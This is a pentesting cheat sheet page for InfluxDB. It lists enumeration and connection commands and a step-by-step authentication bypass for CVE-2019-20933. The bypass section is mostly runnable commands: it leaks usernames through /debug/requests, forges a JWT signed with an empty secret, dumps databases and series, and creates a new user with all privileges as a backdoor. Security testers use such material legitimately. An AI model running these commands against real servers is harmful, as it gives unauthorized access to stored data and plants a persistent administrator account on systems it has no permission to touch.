# InfluxDB Pentesting

### [Enumeration](https://exploit-notes.hdks.org/exploit/database/influxdb-pentesting/#enumeration) <a href="#enumeration" id="enumeration"></a>

```bash
# User enumeration
curl http://<target-ip>:8086/debug/requests
Copied!
```

<br>

### [Connect](https://exploit-notes.hdks.org/exploit/database/influxdb-pentesting/#connect) <a href="#connect" id="connect"></a>

```bash

influx -host 10.0.0.1 -port 8086
influx -host 10.0.0.1 -port 8086 -database <database>
influx -host 10.0.0.1 -port 8086 -username <username>  -password <password>

# Import db file
influx -path example.db
Copied!
```

<br>

### [Authentication Bypass (CVE-2019-20933) version ≤ 1.7.6](https://exploit-notes.hdks.org/exploit/database/influxdb-pentesting/#authentication-bypass-\(cve-2019-20933\)-version-%E2%89%A4-1.7.6) <a href="#authentication-bypass-cve-2019-20933-version-e2-89-a4-1.7.6" id="authentication-bypass-cve-2019-20933-version-e2-89-a4-1.7.6"></a>

#### [Automation](https://exploit-notes.hdks.org/exploit/database/influxdb-pentesting/#automation) <a href="#automation" id="automation"></a>

<https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933>

#### [Manual](https://exploit-notes.hdks.org/exploit/database/influxdb-pentesting/#manual) <a href="#manual" id="manual"></a>

Reference: <https://www.komodosec.com/post/when-all-else-fails-find-a-0-day>

Firse find the username.

```bash
curl http://<target-ip>:8086/debug/requests
Copied!
```

Then create a JWT using the name we found in [jwt.io](https://jwt.io/).\
Parameters are below:

```txt
Header:
    
{ “sub”: “123456789”, "alg": "HS256", "typ": "JWT" }
    
Payload:
    
{ "username": "**<username>**",  "exp":21548669066 }
    
Verify Signature:
    
HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),<e**mpty>**)
Copied!
```

Copy the generated JWT.\
Now we can query the InfluxDB API.

```sh
INFLUXDB_JWT="<JWT>"
# List databases
curl http://<target-ip>:8086/query -H "Authorization: Bearer $INFLUXDB_JWT" --data-urlencode 'q=SHOW DATABASES' | jq
# List seriest in the database
curl http://<target-ip>:8086/query -H "Authorization: Bearer $INFLUXDB_JWT" --data-urlencode 'db=<database>' --data-urlencode 'q=SHOW SERIES' | jq
# Get values in the series
curl http://<target-ip>:8086/query -H "Authorization: Bearer $INFLUXDB_JWT" --data-urlencode 'db=<database>' --data-urlencode 'q=SELECT * FROM <series>' | jq

# Create a privileged account
curl http://<target-ip>:8086/query -H "Authorization: Bearer $INFLUXDB_JWT" --data-urlencode "q=CREATE USER tester with PASSWORD 'password' with ALL PRIVILEGES"
Copied!
```

<br>

### [Commands](https://exploit-notes.hdks.org/exploit/database/influxdb-pentesting/#commands) <a href="#commands" id="commands"></a>

```bash
# Show command history
> history
# Show settings
> settings

# List databases
> show databases
# Show series information
> show series
# Show measurement information
> show measurements
# Show tag key information
> show tag keys
# Show field key information
> show field keys

# Switch to the database
> use <database>
# Query in the database
> select * from <series>
Copied!
```

### References

* <https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933>
